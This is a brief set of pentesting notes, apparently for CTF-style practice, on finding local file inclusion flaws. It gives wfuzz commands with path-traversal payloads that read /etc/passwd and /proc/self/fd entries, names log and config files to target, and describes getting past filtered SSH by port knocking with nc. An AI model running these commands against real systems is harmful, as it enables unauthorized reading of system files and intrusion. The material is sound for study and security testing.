Tool to bypass Webs

LFI brute force

wfuzz.py -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -z file,pass.txt http://IP/index.php?FUZZ=../../../../../../../../../../../../../etc/passwd
This should look for LFI vuln.
  • Filtering such as word count with --hw or --hc (status code) may be needed
  • setting a session cookie may also be needed with -b "PHPSESID=something"
files to look.
  • /var/log/apache2/access.log
  • cd /proc has wonderful info (about what process exists )
  • wfuzz -z range,0-100 -u http://IP/manage.php?file=../../../../../../proc/self/fd/FUZZ
-b "SESSIONCOOKIE" may be needed
If ssh is filtered, you may try this!
  • /proc/sched_debug is useful sometimes.
    • if "knockd" exists, it's a port knocking service --> which means some ports may have filters.
    • /etc/knockd.conf
it may look like this.
In this case, to access SSH, we need to access 7569, 8475,9842 in the correct order.
  • access these ports with nc and then try to ssh.
